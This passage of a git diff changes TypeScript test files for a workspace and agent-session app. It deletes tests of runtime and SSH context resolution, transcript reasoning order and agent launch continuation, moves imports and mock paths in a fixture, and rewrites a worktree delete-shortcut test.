-        connectionId: 'box'
-      })
-      const folder =
-        shape === 'adopted'
-          ? adoptFromEndpoint(target, {
-              kind: 'folderWorkspace',
-              row: original,
-              resolveOwnHostId: () => 'ssh:box' as const
-            })
-          : { ...original, connectionId: null }
-      const workspaceId = `folder:${folder.id}`
-      const snapshot = state({
-        activeWorktreeId: workspaceId,
-        activeWorkspaceExecutionHostId: 'runtime:owner-a',
-        folderWorkspaces: [folder],
-        projectGroups: [
-          adoptFromEndpoint(target, {
-            kind: 'projectGroup',
-            row: {
-              ...makeProjectGroup(),
-              id: 'paired-project',
-              executionHostId: 'ssh:box',
-              connectionId: 'box'
-            }
-          })
-        ],
-        repos: [],
-        worktreesByRepo: {},
-        tabsByWorktree: {
-          [workspaceId]: [{ ...state().tabsByWorktree['wt-1'][0], worktreeId: workspaceId }]
-        },
-        runtimeEnvironments: [],
-        sshStateByEnvironment: new Map([
-          [
-            'owner-a',
-            {
-              targetsHydrated: true,
-              targetLabels: new Map([['box', 'Server box']]),
-              targetGenerations: new Map([['box', 7]]),
-              removedTargetLabels: new Map(),
-              connectionStates: new Map([
-                [
-                  'box',
-                  {
-                    targetId: 'box',
-                    status: 'connected',
-                    error: null,
-                    reconnectAttempt: 0,
-                    connectionGeneration: 7
-                  }
-                ]
-              ])
-            }
-          ]
-        ])
-      })
-      expect.soft(resolveNativeChatFileLinkContext(snapshot, 'tab-1')).toMatchObject({
-        worktreeId: workspaceId,
-        worktreePath: '/remote/folder',
-        runtimeEnvironmentId: 'owner-a'
-      })
-      expect
-        .soft(
-          resolveNativeChatImageRuntimeContext(selectNativeChatImageOwnerState(snapshot), 'tab-1')
-        )
-        .toMatchObject({
-          target: { kind: 'environment', environmentId: 'owner-a' },
-          worktreePath: '/remote/folder',
-          expectedExecutionHostId: 'ssh:box',
-          expectedSshConnectionGeneration: 7
-        })
-      expect
-        .soft(
-          resolveNativeChatSkillDiscoveryContext(
-            selectNativeChatSkillStateInputs(snapshot),
-            'tab-1'
-          )
-        )
-        .toMatchObject({
-          cwd: '/remote/folder',
-          runtimeTarget: { kind: 'environment', environmentId: 'owner-a' },
-          discoveryTarget: { worktreeId: workspaceId }
-        })
-      const editor = getEditorFileOperationContext(
-        snapshot,
-        { worktreeId: workspaceId },
-        '/remote/folder'
-      )
-      expect.soft(editor).toMatchObject({
-        target: { kind: 'environment', environmentId: 'owner-a' },
-        expectedExecutionHostId: 'ssh:box',
-        expectedSshConnectionGeneration: 7
-      })
-      resetSshConnectionGenerations()
-      setSshConnectionGeneration('box', 7)
-      expect
-        .soft(() =>
-          assertRuntimeFileMutationExpectation(
-            'ssh:box',
-            editor.expectedExecutionHostId,
-            editor.expectedSshTargetId,
-            editor.expectedSshConnectionGeneration
-          )
-        )
-        .not.toThrow()
-      resetSshConnectionGenerations()
-      expect.soft(captureWorktreeSshMutationExpectation(snapshot, workspaceId)).toEqual({
-        expectedExecutionHostId: 'ssh:box',
-        expectedSshTargetId: 'box',
-        expectedSshConnectionGeneration: 7
-      })
-    }
-  )
-
-  it('keeps selected-hook results equivalent to full-state resolution through ownership, pin and host transitions', () => {
-    const base = state({
-      worktreesByRepo: {
-        repo: [
-          worktreeFixture('wt-1', '/repo/worktree', { hostId: 'local' }),
-          worktreeFixture('wt-2', '/repo/second', { hostId: 'local' })
-        ]
-      }
-    })
-    const duplicate = {
-      ...base,
-      tabsByWorktree: {
-        'wt-1': [terminalTabFixture('tab-1', 'wt-1')],
-        'wt-2': [terminalTabFixture('tab-1', 'wt-2')]
-      },
-      unifiedTabsByWorktree: {
-        'wt-2': [agentSessionTabFixture('tab-1', 'wt-2')],
-        'wt-1': [agentSessionTabFixture('tab-1', 'wt-1')]
-      }
-    }
-    const fallback = { ...duplicate, tabsByWorktree: {} }
-    const moved = {
-      ...fallback,
-      unifiedTabsByWorktree: { 'wt-1': [agentSessionTabFixture('tab-1', 'wt-1')] }
-    }
-    const floatingTab = agentSessionTabFixture('tab-1', FLOATING_TERMINAL_WORKTREE_ID)
-    const floating = {
-      ...base,
-      tabsByWorktree: {},
-      unifiedTabsByWorktree: { [FLOATING_TERMINAL_WORKTREE_ID]: [floatingTab] },
-      structuredSessionLaunchDirectoryByTabId: {},
-      floatingWorkspacePath: '/floating-setting'
-    }
-    const pinned = {
-      ...floating,
-      structuredSessionLaunchDirectoryByTabId: {
-        'tab-1': { sessionId: floatingTab.entityId, launchDirectory: '/pinned' }
-      }
-    }
-    const replaced = {
-      ...pinned,
-      unifiedTabsByWorktree: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: [{ ...floatingTab, entityId: 'replacement' }]
-      }
-    }
-    const folder = nativeChatFanoutFixture(0, 1, 0)
-    const folderState = {
-      ...base,
-      ...folder,
-      unifiedTabsByWorktree: {
-        [nativeChatFanoutWorkspace(0)]: [
-          agentSessionTabFixture('tab-1', nativeChatFanoutWorkspace(0))
-        ]
-      }
-    }
-    const environment = (id: string): AppState['runtimeEnvironments'][number] => ({
-      id,
-      name: id,
-      createdAt: 0,
-      updatedAt: 0,
-      lastUsedAt: null,
-      runtimeId: null,
-      preferredEndpointId: 'endpoint',
-      endpoints: []
-    })
-    const remote = (id: string): AppState => ({
-      ...base,
-      activeWorkspaceExecutionHostId: `runtime:${id}`,
-      runtimeEnvironments: [environment(id)],
-      repos: [repoFixture({ executionHostId: `runtime:${id}` })],
-      worktreesByRepo: {
-        repo: [worktreeFixture('wt-1', '/remote', { hostId: `runtime:${id}` })]
-      }
-    })
-    const ssh = (generation?: number): AppState => ({
-      ...remote('owner-a'),
-      activeWorkspaceExecutionHostId: 'ssh:ssh-1',
-      worktreesByRepo: {
-        repo: [
-          worktreeFixture('wt-1', '/ssh', {
-            hostId: 'ssh:ssh-1',
-            runtimeOwnerEnvironmentId: 'owner-a'
-          })
-        ]
-      },
-      sshStateByEnvironment: new Map([
-        [
-          'owner-a',
-          {
-            targets: [],
-            targetGenerations: new Map(),
-            targetLabels: new Map(),
-            removedTargetLabels: new Map(),
-            targetsHydrated: true,
-            connectionStates: new Map([
-              [
-                'ssh-1',
-                {
-                  targetId: 'ssh-1',
-                  status: 'connected',
-                  error: null,
-                  reconnectAttempt: 0,
-                  connectionGeneration: generation
-                }
-              ]
-            ])
-          }
-        ]
-      ])
-    })
-    const local = (worktreeId: string, worktreePath: string) => ({
-      worktreeId,
-      worktreePath,
-      target: { kind: 'local' as const }
-    })
-    const paired = ssh(3)
-    const cases: [
-      name: string,
-      snapshot: AppState,
-      expected: Partial<RuntimeFileOperationArgs> | null
-    ][] = [
-      ['terminal-first and first duplicate', duplicate, local('wt-1', '/repo/worktree')],
-      ['unified fallback', fallback, local('wt-2', '/repo/second')],
-      ['move', moved, local('wt-1', '/repo/worktree')],
-      ['remove', { ...moved, unifiedTabsByWorktree: {} }, null],
-      ['return', fallback, local('wt-2', '/repo/second')],
-      ['missing pin', floating, null],
-      [
-        'wrong pin',
-        {
-          ...pinned,
-          structuredSessionLaunchDirectoryByTabId: {
-            'tab-1': { sessionId: 'wrong', launchDirectory: '/wrong' }
-          }
-        },
-        null
-      ],
-      ['correct pin', pinned, local(FLOATING_TERMINAL_WORKTREE_ID, '/pinned')],
-      ['replaced session', replaced, null],
-      [
-        'replaced pin',
-        {
-          ...replaced,
-          structuredSessionLaunchDirectoryByTabId: {
-            'tab-1': { sessionId: 'replacement', launchDirectory: '/replacement' }
-          }
-        },
-        local(FLOATING_TERMINAL_WORKTREE_ID, '/replacement')
-      ],
-      [
-        'floating directory predicate skips unregistered duplicate',
-        {
-          ...pinned,
-          unifiedTabsByWorktree: {
-            [FLOATING_TERMINAL_WORKTREE_ID]: [
-              { ...floatingTab, entityId: 'unregistered', agentSessionAgent: undefined },
-              floatingTab
-            ]
-          }
-        },
-        local(FLOATING_TERMINAL_WORKTREE_ID, '/pinned')
-      ],
-      [
-        'floating terminal fallback',
-        {
-          ...floating,
-          tabsByWorktree: {
-            [FLOATING_TERMINAL_WORKTREE_ID]: [
-              terminalTabFixture('tab-1', FLOATING_TERMINAL_WORKTREE_ID)
-            ]
-          },
-          unifiedTabsByWorktree: {}
-        },
-        local(FLOATING_TERMINAL_WORKTREE_ID, '/floating-setting')
-      ],
-      [
-        'floating first registered duplicate wins',
-        {
-          ...pinned,
-          unifiedTabsByWorktree: {
-            [FLOATING_TERMINAL_WORKTREE_ID]: [floatingTab, { ...floatingTab, entityId: 'second' }]
-          },
-          structuredSessionLaunchDirectoryByTabId: {
-            'tab-1': { sessionId: 'second', launchDirectory: '/wrong-second' }
-          }
-        },
-        null
-      ],
-      ['folder', folderState, local(nativeChatFanoutWorkspace(0), '/repo/0')],
-      [
-        'runtime',
-        remote('owner-a'),
-        { worktreePath: '/remote', target: { kind: 'environment', environmentId: 'owner-a' } }
-      ],
-      [
-        'runtime replacement',
-        remote('owner-b'),
-        { target: { kind: 'environment', environmentId: 'owner-b' } }
-      ],
-      [
-        'owner-only runtime hydration',
-        {
-          ...remote('owner-a'),
-          activeWorktreeId: null,
-          activeWorkspaceExecutionHostId: null,
-          worktreesByRepo: {
-            repo: [
-              worktreeFixture('wt-1', '/remote', {
-                hostId: undefined,
-                runtimeOwnerEnvironmentId: 'owner-a'
-              })
-            ]
-          }
-        },
-        { worktreePath: '/remote', target: { kind: 'environment', environmentId: 'owner-a' } }
-      ],
-      [
-        'paired SSH',
-        paired,
-        {
-          worktreePath: '/ssh',
-          expectedExecutionHostId: 'ssh:ssh-1',
-          expectedSshConnectionGeneration: 3,
-          target: { kind: 'environment', environmentId: 'owner-a' }
-        }
-      ],
-      [
-        'SSH generation-only change',
-        { ...paired, sshStateByEnvironment: ssh(4).sshStateByEnvironment },
-        { expectedSshConnectionGeneration: 4 }
-      ],
-      [
-        'SSH generation absent',
-        { ...paired, sshStateByEnvironment: ssh().sshStateByEnvironment },
-        null
-      ],
-      [
-        'unpaired SSH',
-        {
-          ...paired,
-          repos: [repoFixture({ connectionId: 'ssh-1' })],
-          worktreesByRepo: {
-            repo: [worktreeFixture('wt-1', '/ssh', { hostId: 'ssh:ssh-1' })]
-          }
-        },
-        null
-      ]
-    ]
-    let observed: RuntimeFileOperationArgs | null = null
-    function Probe() {
-      observed = useNativeChatImageRuntimeContext('tab-1')
-      return null
-    }
-    useAppStore.setState(base)
-    render(createElement(Probe))
-    for (const [name, snapshot, expected] of cases) {
-      act(() => useAppStore.setState(snapshot))
-      expect(observed, name).toEqual(resolveNativeChatImageRuntimeContext(snapshot, 'tab-1'))
-      if (expected === null) {
-        expect(observed, name).toBeNull()
-      } else {
-        expect(observed, name).toMatchObject(expected)
-      }
-    }
-    expect(resolveNativeChatImageRuntimeContextForOwner(base, 'tab-1', null)).toBeNull()
-  })
-})
diff --git a/tests/e2e/native-chat-transcript-reasoning.unit.test.ts b/tests/e2e/native-chat-transcript-reasoning.unit.test.ts
deleted file mode 100644
index d31a97bf877..00000000000
--- a/tests/e2e/native-chat-transcript-reasoning.unit.test.ts
+++ /dev/null
@@ -1,99 +0,0 @@
-// @vitest-environment happy-dom
-
-import '@testing-library/jest-dom/vitest'
-
-import { cleanup, fireEvent, screen } from '@testing-library/react'
-import { afterAll, afterEach, beforeAll, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock(
-  '../../src/renderer/src/components/native-chat/media/visuals/NativeChatInlineVisual',
-  () => ({
-    NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-  })
-)
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-afterEach(() => {
-  expect(unusedChatLeaves.inlineVisual).not.toHaveBeenCalled()
-  expect(unusedChatLeaves.openSender).not.toHaveBeenCalled()
-})
-import { createElement } from 'react'
-import { NativeChatMessageList } from '../../src/renderer/src/components/native-chat/NativeChatMessageList'
-import { installNativeChatMessageListTestViewport } from '../../src/renderer/src/components/native-chat/viewport/virtualization/native-chat-message-list-test-viewport'
-import { render } from '../../src/renderer/src/components/native-chat/messages/actions/native-chat-tooltip-test-harness'
-
-let restoreViewport = (): void => {}
-beforeAll(() => {
-  restoreViewport = installNativeChatMessageListTestViewport()
-})
-afterAll(() => restoreViewport())
-afterEach(cleanup)
-
-it('renders terminal file reasoning before its equal-clock answer without journal authority', async () => {
-  const { Readable } = await import('node:stream')
-  const { decodeTranscriptStream } =
-    await import('../../src/main/native-chat/transcript-stream-lines')
-  const { decodeClaudeTranscriptLine } =
-    await import('../../src/main/native-chat/transcript-line-decoders')
-  const records = [
-    { type: 'user', uuid: 'prompt', message: { role: 'user', content: 'Explain the result' } },
-    {
-      type: 'assistant',
-      uuid: 'z-thinking',
-      message: {
-        role: 'assistant',
-        content: [{ type: 'thinking', thinking: 'File reasoning before final answer' }]
-      }
-    },
-    {
-      type: 'assistant',
-      uuid: 'a-answer',
-      message: { role: 'assistant', content: 'The final file answer' }
-    }
-  ]
-    .map((row) => `${JSON.stringify({ ...row, timestamp: '2026-06-01T10:00:00Z' })}\n`)
-    .join('')
-  const { messages } = await decodeTranscriptStream(
-    Readable.from([records]),
-    'terminal.jsonl',
-    0,
-    decodeClaudeTranscriptLine,
-    true,
-    Infinity,
-    true
-  )
-  render(
-    createElement(NativeChatMessageList, {
-      session: {
-        messages,
-        status: 'ready',
-        sessionId: 'session-1',
-        agent: 'claude',
-        hasMore: false,
-        loadingEarlier: false,
-        olderHistoryGeneration: 0,
-        loadEarlier: vi.fn(),
-        readPhase: 'ready'
-      },
-      isWorking: false,
-      expandSignal: true
-    })
-  )
-  const disclosure = screen.getByRole('button', { name: /^Reasoning/ })
-  if (disclosure.getAttribute('aria-expanded') === 'false') {
-    fireEvent.click(disclosure)
-  }
-  const thought = screen.getByText('File reasoning before final answer')
-  const answer = screen.getByText('The final file answer')
-  expect(thought.compareDocumentPosition(answer) & Node.DOCUMENT_POSITION_FOLLOWING).toBeTruthy()
-})
diff --git a/tests/e2e/smart-workspace-linear-read-test-fixtures.tsx b/tests/e2e/smart-workspace-linear-read-test-fixtures.tsx
index dd72c2a0a04..4d2fdbb1936 100644
--- a/tests/e2e/smart-workspace-linear-read-test-fixtures.tsx
+++ b/tests/e2e/smart-workspace-linear-read-test-fixtures.tsx
@@ -1,20 +1,11 @@
 import { useStore } from 'zustand'
 import { createTestStore } from '@/store/slices/linear/linear-slice-test-harness'
 import { clearLinearRequestMaps } from '@/store/slices/linear/linear-slice-request-state'
-// @vitest-environment happy-dom
-
 import React from 'react'
 import type * as ReactModule from 'react'
-import type * as MainLinearClient from '../../src/main/linear/client'
-import type * as RuntimeLinearClient from '@/runtime/linear/runtime-linear-client'
-import type * as RuntimeLinearIssueMutations from '@/runtime/linear/runtime-linear-issue-client'
 import { registerRuntimeClientIpcBridge } from '@/hooks/ipc-events/runtime-client-ipc-bridge'
-import type { RuntimeClientEvent } from '../../src/shared/runtime-client-events'
 import { cleanup } from '@testing-library/react'
 import { afterEach, vi } from 'vitest'
-import type { LinearIssue } from '../../src/shared/linear/issue-types'
-import type { LinearConnectionStatus } from '../../src/shared/linear/workspace-types'
-import type { Repo } from '../../src/shared/repo-types'
 import { WorkspaceAttachmentSourceStatus } from '../../src/renderer/src/components/sidebar/workspace-card/review/WorkspaceAttachmentSourceStatus'
 import { Command } from '@/components/ui/command'
 import {
@@ -23,6 +14,15 @@ import {
 } from '../../src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-fixtures.test-support'
 import { SmartWorkspaceSourceResultList } from '../../src/renderer/src/components/new-workspace/SmartWorkspaceSourceResultList'
 import { useWorkItemSourceSearch } from '../../src/renderer/src/components/new-workspace/use-work-item-source-search'
+import type * as MainLinearClient from '../../src/main/linear/client'
+import type * as RuntimeLinearClient from '@/runtime/linear/runtime-linear-client'
+import type * as RuntimeLinearIssueMutations from '@/runtime/linear/runtime-linear-issue-client'
+import type { RuntimeClientEvent } from '../../src/shared/runtime-client-events'
+import type { LinearIssue } from '../../src/shared/linear/issue-types'
+import type { LinearConnectionStatus } from '../../src/shared/linear/workspace-types'
+import type { Repo } from '../../src/shared/repo-types'
+
+// @vitest-environment happy-dom
 
 const queued = vi.hoisted(() => {
   const updates: VoidFunction[] = []
@@ -182,7 +182,7 @@ export const actualSearch = await vi.importActual<typeof RuntimeLinearClient>(
 let stopBridge = () => {}
 let restoreApi = () => {}
 export let pickerStore: ReturnType<typeof createTestStore>
-vi.mock('@/store', () => ({
+vi.mock('@/store/index', () => ({
   useAppStore: Object.assign(
     (selector: Parameters<typeof pickerStore>[0]) => useStore(pickerStore, selector),
     {
@@ -208,8 +208,11 @@ vi.mock('@/runtime/linear/runtime-linear-issue-client', async (original) => ({
   ...(await original<Record<string, unknown>>()),
   linearGetIssue: (...args: unknown[]) => mocks.state.detail(...args)
 }))
-vi.mock('@/lib/local-preflight-context', () => ({
-  getLocalPreflightContext: () => ({}),
+vi.mock('@/runtime/hosts/preflight/local-preflight-context', () => ({
+  getLocalPreflightContext: () => ({})
+}))
+
+vi.mock('@/runtime/hosts/preflight/local-preflight-context-key', () => ({
   localPreflightContextKey: () => 'test'
 }))
 vi.mock('@/i18n/i18n', () => ({ translate: (_key: string, fallback: string) => fallback }))
diff --git a/tests/e2e/structured-agent-session-launch-continuation.unit.test.ts b/tests/e2e/structured-agent-session-launch-continuation.unit.test.ts
deleted file mode 100644
index ae29c2f3335..00000000000
--- a/tests/e2e/structured-agent-session-launch-continuation.unit.test.ts
+++ /dev/null
@@ -1,235 +0,0 @@
-// @vitest-environment happy-dom
-import {
-  mocks,
-  resetCreateMessageFixture,
-  cleanupCreateMessageFixture,
-  created,
-  createParams
-} from '../../src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.test-fixture'
-import type { AgentSessionModelCatalogResult } from '../../src/shared/agent-session/agent-session-wire'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { act, renderHook } from '@testing-library/react'
-import type * as HostCapability from '@/runtime/native-chat/host-capabilities/structured-agent-session-host-capability'
-import { createNonSecureContextUuid as createBrowserUuid } from '../../src/shared/non-secure-context-uuid'
-import { mkdtemp, rm, realpath } from 'node:fs/promises'
-import { tmpdir } from 'node:os'
-import { join } from 'node:path'
-import '../../src/main/runtime/orca-runtime'
-import '../../src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-create'
-
-import { setStructuredAgentSessionHost } from '../../src/main/native-chat/agent-session-wire/host/structured-agent-session-registry'
-import '../../src/main/runtime/agent-session/installation/structured-agent-runtime-metadata'
-import '../../src/main/claude/structured/launch/claude-structured-spawn-options'
-import '../../src/main/codex/structured/threads/codex-structured-thread-open'
-import '../../src/main/codex/structured/turns/codex-structured-message-options'
-import '../../src/main/codex/structured/catalog/codex-structured-option-session.test-fixture'
-import { startStructuredAgentLaunch } from '../../src/renderer/src/lib/agent-session/launch/structured-agent-session-launch'
-import { getStructuredAgentSessionLaunchSelection } from '../../src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options'
-import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
-import { recordHostModelCatalogSnapshot } from '@/runtime/native-chat/model-catalogs/host-model-catalog-snapshots'
-import { useStructuredAgentSessionOptions } from '@/components/native-chat/session/options/structured/use-structured-agent-session-options'
-import { useNativeChatProvisionalLaunch } from '@/components/native-chat/host-access/use-native-chat-provisional-launch'
-import { structuredAgentSessionMessageSelection } from '../../src/shared/agent-session/options/structured-agent-session-option-view'
-import { structuredAgentSessionModelId } from '../../src/shared/agent-session/options/structured-agent-session-option-state'
-import '../../src/shared/global-settings-test-fixture'
-import '../../src/shared/rpc-contract/structured-agent-session-params'
-import { structuredAgentSessionCreateFingerprint } from '../../src/shared/agent-session/lifecycle/structured-agent-session-mutation'
-import {
-  retryStructuredAgentSessionLaunchIntent,
-  restoreStructuredAgentSessionLaunchIntent
-} from '../../src/renderer/src/lib/launch-structured-agent-session'
-import { getStructuredLaunchStateBySessionId } from '../../src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-registry'
-
-vi.mock(
-  '@/runtime/native-chat/host-capabilities/structured-agent-session-host-capability',
-  async (original) => ({
-    ...(await original<typeof HostCapability>()),
-    useStructuredAgentSessionHostCapability: () => false,
-    useStructuredAgentSessionOwnPermissionState: () => 'supported'
-  })
-)
-vi.mock('@/components/native-chat/session/status/structured-agent-session-status-hooks', () => ({
-  useStructuredAgentSessionPermissionStatus: () => ({
-    permissionReport: false,
-    observation: 'live'
-  })
-}))
-vi.mock('../../src/main/agent-launch/trust/agent-workspace-trust', () => ({
-  applyAgentWorkspaceTrust: vi.fn(async () => ({}))
-}))
-let restore: (() => void) | undefined
-let root: string
-beforeEach(async () => {
-  restore = resetCreateMessageFixture()
-  mocks.exactSupport.mockResolvedValue(true)
-  root = await mkdtemp(join(await realpath(tmpdir()), 'orca-36210-continuation-'))
-  vi.stubEnv('ORCA_USER_DATA_PATH', join(root, 'profile'))
-})
-afterEach(async () => {
-  vi.unstubAllEnvs()
-  setStructuredAgentSessionHost(null)
-  cleanupCreateMessageFixture(restore)
-  for (const key of Object.keys(mocks.settings)) {
-    delete mocks.settings[key]
-  }
-  await rm(root, { recursive: true, force: true })
-})
-
-it('admits paired continuation picks after support, keeps unknown display unsent, and freezes prepared replay', async () => {
-  const admission = Promise.withResolvers<Awaited<ReturnType<typeof mocks.admit>>>()
-  const capability = Promise.withResolvers<boolean>()
-  const create = Promise.withResolvers<unknown>()
-  const hydration = Promise.withResolvers<unknown>()
-  const target = { kind: 'environment', environmentId: 'alpha' } as const
-  const catalog: AgentSessionModelCatalogResult = {
-    origin: 'probe',
-    fetchedAt: 1,
-    defaultHoldsInEveryWorkspace: true,
-    models: [
-      {
-        id: 'fresh-map',
-        label: 'Fresh map',
-        isDefault: true,
-        efforts: [{ value: 'low', label: 'Low' }]
-      },
-      {
-        id: 'literal-held',
-        label: 'Held choice',
-        isDefault: false,
-        efforts: [{ value: 'high', label: 'High' }]
-      }
-    ]
-  }
-  replaceRuntimeEnvironmentRevisions([{ id: 'alpha', createdAt: 1 }])
-  recordHostModelCatalogSnapshot(target, 'claude', null, catalog)
-  mocks.admit.mockReturnValue(admission.promise)
-  mocks.exactSupport.mockReturnValue(capability.promise)
-  mocks.call.mockImplementation(async (_target, method) => {
-    if (method === 'agentSession.modelCatalog') {
-      return catalog
-    }
-    if (method === 'agentSession.options') {
-      return hydration.promise
-    }
-    if (method === 'agentSession.create') {
-      return create.promise
-    }
-    throw new Error(`unexpected ${method}`)
-  })
-  const launch = startStructuredAgentLaunch('workspace-1', 'claude', {
-    requestId: createBrowserUuid(),
-    executionHostId: 'runtime:alpha',
-    resumeFrom: { providerSessionId: 'existing' },
-    prompt: 'next'
-  })
-  const view = renderHook(
-    ({ attached }) => {
-      const provisional = useNativeChatProvisionalLaunch('workspace-1', launch.sessionId)
-      return useStructuredAgentSessionOptions({
-        agent: 'claude',
-        sessionId: launch.sessionId,
-        target,
-        launch: provisional.launch,
-        transportEnabled: attached,
-        isVisible: true,
-        providerVisible: attached,
-        fence: attached ? 1 : null,
-        turnId: null,
-        unloadedTurnRevisions: undefined,
-        mutate: vi.fn()
-      })
-    },
-    { initialProps: { attached: false } }
-  )
-  expect(getStructuredAgentSessionLaunchSelection(launch.sessionId)?.seedPending).toBe(true)
-  expect(view.result.current.optionSnapshot.find((row) => row.id === 'model')?.settable).toBe(false)
-  await act(async () =>
-    admission.resolve({ kind: 'admitted', seedOptions: { model: 'fresh-map', effort: 'low' } })
-  )
-  await vi.waitFor(() =>
-    expect(getStructuredAgentSessionLaunchSelection(launch.sessionId)?.seedPending).toBeUndefined()
-  )
-  const selection = getStructuredAgentSessionLaunchSelection(launch.sessionId)
-  expect(selection?.seed).toBeUndefined()
-  const provisional = view.result.current.sendSource.optionView(
-    view.result.current.sendSource.optionStateRef.current,
-    selection?.seed
-  )
-  expect(structuredAgentSessionModelId(provisional.record, 'own')).toBeNull()
-  expect(structuredAgentSessionMessageSelection(provisional)).toEqual({})
-  await act(async () => {
-    expect(await view.result.current.setStructuredOption('model', 'literal-held')).toBe(true)
-  })
-  await act(async () => {
-    expect(await view.result.current.setStructuredOption('effort', 'high')).toBe(true)
-    expect(await view.result.current.setStructuredOption('fastMode', false)).toBe(true)
-  })
-  capability.resolve(true)
-  await vi.waitFor(() =>
-    expect(
-      mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-    ).toHaveLength(1)
-  )
-  const params = createParams()
-  expect(params.options).toEqual({ model: 'literal-held', effort: 'high', fastMode: 'false' })
-  expect(params.firstMessage?.selection).toEqual(params.options)
-  expect(params.envelope.payloadFingerprint).toBe(
-    structuredAgentSessionCreateFingerprint({ sessionId: launch.sessionId, ...params })
-  )
-  const state = getStructuredLaunchStateBySessionId(launch.sessionId)
-  if (!state) {
-    throw new Error('missing continuing launch')
-  }
-  Object.assign(mocks.settings, { agentLaunchChoices: { claude: { model: 'later' } } })
-  const restored = restoreStructuredAgentSessionLaunchIntent({
-    worktreeId: 'workspace-1',
-    executionHostId: 'runtime:alpha',
-    sessionId: launch.sessionId,
-    clientOperationId: params.envelope.clientOperationId,
-    payloadFingerprint: params.envelope.payloadFingerprint,
-    expectedRuntimeFence: params.envelope.expectedRuntimeFence,
-    agent: 'claude',
-    resumeFrom: params.resumeFrom,
-    options: params.options,
-    firstMessage: params.firstMessage,
-    createMessageSupport: true
-  })
-  expect(restored.params).toEqual(params)
-  expect(restored.seedOptions).toBeUndefined()
-  expect(retryStructuredAgentSessionLaunchIntent(state.intent).seedOptions).toBeUndefined()
-  expect(
-    restoreStructuredAgentSessionLaunchIntent({
-      worktreeId: 'workspace-1',
-      executionHostId: 'local',
-      sessionId: launch.sessionId,
-      agent: 'claude',
-      clientOperationId: 'new',
-      payloadFingerprint: '',
-      expectedRuntimeFence: null,
-      resumeFrom: params.resumeFrom
-    }).seedOptions?.model
-  ).not.toBe('later')
-  await act(async () => {
-    create.resolve(created())
-    await launch.launchResult
-  })
-  view.rerender({ attached: true })
-  await act(async () =>
-    hydration.resolve({
-      models: catalog.models,
-      current: {
-        model: 'literal-held',
-        effort: 'high',
-        fastMode: false,
-        permissionMode: 'own',
-        defaulted: []
-      }
-    })
-  )
-  await vi.waitFor(() =>
-    expect(view.result.current.sendSource.optionStateRef.current.optionsAnswerPresent).toBe(true)
-  )
-  const hydrated = view.result.current.optionSnapshot.find((row) => row.id === 'model')
-  expect(hydrated).toMatchObject({ settable: true, kind: { currentValue: 'literal-held' } })
-  view.unmount()
-})
diff --git a/tests/e2e/typing-scale-census.ts b/tests/e2e/typing-scale-census.ts
index 590df8bf573..c1fadaf6cf8 100644
--- a/tests/e2e/typing-scale-census.ts
+++ b/tests/e2e/typing-scale-census.ts
@@ -1,8 +1,6 @@
 import type { Page } from '@stablyai/playwright-test'
-import type {
-  TypingDiagnosticBridge,
-  TypingLatencyReport
-} from '../../src/renderer/src/lib/typing-latency/diagnostic'
+import type { TypingDiagnosticBridge } from '../../src/renderer/src/diagnostics/typing-latency/diagnostic'
+import type { TypingLatencyReport } from '../../src/renderer/src/diagnostics/typing-latency/diagnostic-report'
 
 /** Reads the existing census without enabling per-keystroke diagnostic instrumentation. */
 export async function readTypingScaleCensus(
diff --git a/tests/e2e/worktree-delete-shortcut.spec.ts b/tests/e2e/worktree-delete-shortcut.spec.ts
index 29d4e1291c7..2a3deb884d7 100644
--- a/tests/e2e/worktree-delete-shortcut.spec.ts
+++ b/tests/e2e/worktree-delete-shortcut.spec.ts
@@ -50,15 +50,23 @@ test.describe('Worktree Delete Shortcut', () => {
       .catch(() => undefined)
   })
 
-  test('deletes the hovered worktree after Mod+Shift+Backspace confirmation', async ({
-    orcaPage
-  }) => {
+  test('deletes the active worktree while another row is hovered', async ({ orcaPage }) => {
     createdWorktreeId = await createIsolatedWorktree(orcaPage)
     const worktreeId = createdWorktreeId
     const row = worktreeRow(orcaPage, worktreeId)
     await expect(row).toBeVisible()
 
-    await row.hover()
+    const previousActiveId = await orcaPage.evaluate(
+      () => window.__store?.getState().activeWorktreeId
+    )
+    await row.click()
+    await expect
+      .poll(() => orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId))
+      .toBe(worktreeId)
+    if (!previousActiveId || previousActiveId === worktreeId) {
+      throw new Error('Expected a different workspace to hover')
+    }
+    await worktreeRow(orcaPage, previousActiveId).hover()
     await pressShortcut(orcaPage, 'Backspace', { shift: true })
 
     const dialog = orcaPage.getByRole('dialog')
@@ -68,9 +76,10 @@ test.describe('Worktree Delete Shortcut', () => {
     await expect
       .poll(async () => getAllWorktreeIds(orcaPage), {
         timeout: 15_000,
-        message: 'hovered worktree was not removed by the delete shortcut'
+        message: 'active worktree was not removed by the delete shortcut'
       })
       .not.toContain(worktreeId)
+    expect(await getAllWorktreeIds(orcaPage)).toContain(previousActiveId)
     createdWorktreeId = null
   })
 })